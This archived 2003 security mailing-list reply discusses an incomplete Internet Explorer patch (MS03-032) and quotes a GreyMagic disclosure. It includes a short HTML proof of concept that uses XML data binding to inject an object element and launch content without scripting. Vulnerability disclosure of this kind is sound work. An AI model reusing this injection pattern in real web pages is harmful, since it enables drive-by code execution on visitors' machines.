RE: BAD NEWS: Microsoft Security Bulletin MS03-032

[ADBecker () chmortgage com]

Updated antivirus software should catch this exploit and prevent any application from being launched.
We have McAfee VirusScan 7 Ent. which caught both exploit examples at http://greymagic.com/adv/gm001-ie/

Andrew Becker
C.H. Mortgage, D.R. Horton
Phoenix IT/MIS Department
Phone: (866) 639-7305
Fax: (480) 607-5383


                                                                                                                        
               
                      "GreyMagic                                                                                        
               
                      Software"                To:       "NTBugtraq" <NTBUGTRAQ () LISTSERV NTBUGTRAQ COM>, "Bugtraq"   
                  
                      <security@greymag         <bugtraq () securityfocus com>, <full-disclosure () lists netsys com>,  
                     
                      ic.com>                   <vulnwatch () vulnwatch org>                                            
                  
                                               cc:       <http-equiv () excite com>, "Microsoft Security Response 
Center"                 
                      09/08/03 07:52 AM         <secure () microsoft com>, (bcc: Andrew D Becker/Continental Homes)     
                  
                                               Subject:  RE: BAD NEWS: Microsoft Security Bulletin MS03-032             
               
                                                                                                                        
               




> The patch for Drew's object data=funky.hta doesn't work:

This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which
explains the problem in detail. Microsoft again patches the object element
in HTML, but it doesn't patch the dynamic version of that same element.

> 1. Disable Active Scripting

This actually means that no scripting is needed at all in order to exploit
this amazingly critical vulnerability:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object data=x.asp></object>
            ]]>
        </exploit>
    </security>
</xml>

Ouch.